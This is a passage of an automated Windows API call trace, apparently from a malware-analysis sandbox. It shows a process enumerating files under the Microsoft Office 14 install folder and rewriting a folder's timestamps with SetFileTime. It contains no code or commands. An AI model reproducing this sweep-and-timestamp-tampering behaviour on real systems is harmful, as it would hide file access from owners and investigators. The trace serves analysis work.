cFileName="OLAPPTR.FAE", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1332250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNLR.FAE", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAILR.FAE", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x25b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTER.FAE", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLR.SAM", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x29b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASKR.FAE", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x31a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97R.SAM", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PABR.SAM", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 0 [0078.275] GetLastError () returned 0x12 [0078.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.275] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7990, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMDOS.FAE", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x79a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x5b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKSAM.SAM", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC.SAM", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OL.SAM", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x207a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADD.FAE", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1dda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPT.FAE", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x117a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNL.FAE", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAIL.FAE", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xcb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTE.FAE", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c398, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASK.FAE", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5988a8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xc588, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97.SAM", cAlternateFileName="")) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAB.SAM", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x18568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RM.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 0 [0078.277] GetLastError () returned 0x12 [0078.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.277] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4df100, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d4df100, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ab7000, ftCreationTime.dwHighDateTime=0x1c8d9fe, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9ab7000, ftLastWriteTime.dwHighDateTime=0x1c8d9fe, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b53d600, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd25e4820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b53d600, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91170, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf942ba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x124578, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2630ae0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSHARE.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2904500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x137b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3242fa00, ftCreationTime.dwHighDateTime=0x1cb7017, ftLastAccessTime.dwLowDateTime=0xd2a812c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3242fa00, ftLastWriteTime.dwHighDateTime=0x1cb7017, nFileSizeHigh=0x0, nFileSizeLow=0x1a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1c770, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0078.277] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="")) returned 1 [0078.277] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" (normalized: "c:\\program files\\microsoft office\\office14\\document parts"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" (normalized: "c:\\program files\\microsoft office\\office14\\document parts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.317] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb390 [0078.318] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb390, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb390, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb390) returned 1 [0078.318] NtClose (Handle=0x170) returned 0x0 [0078.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0078.318] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.318] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.319] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0078.319] GetLastError () returned 0x12 [0078.319] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0078.319] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, 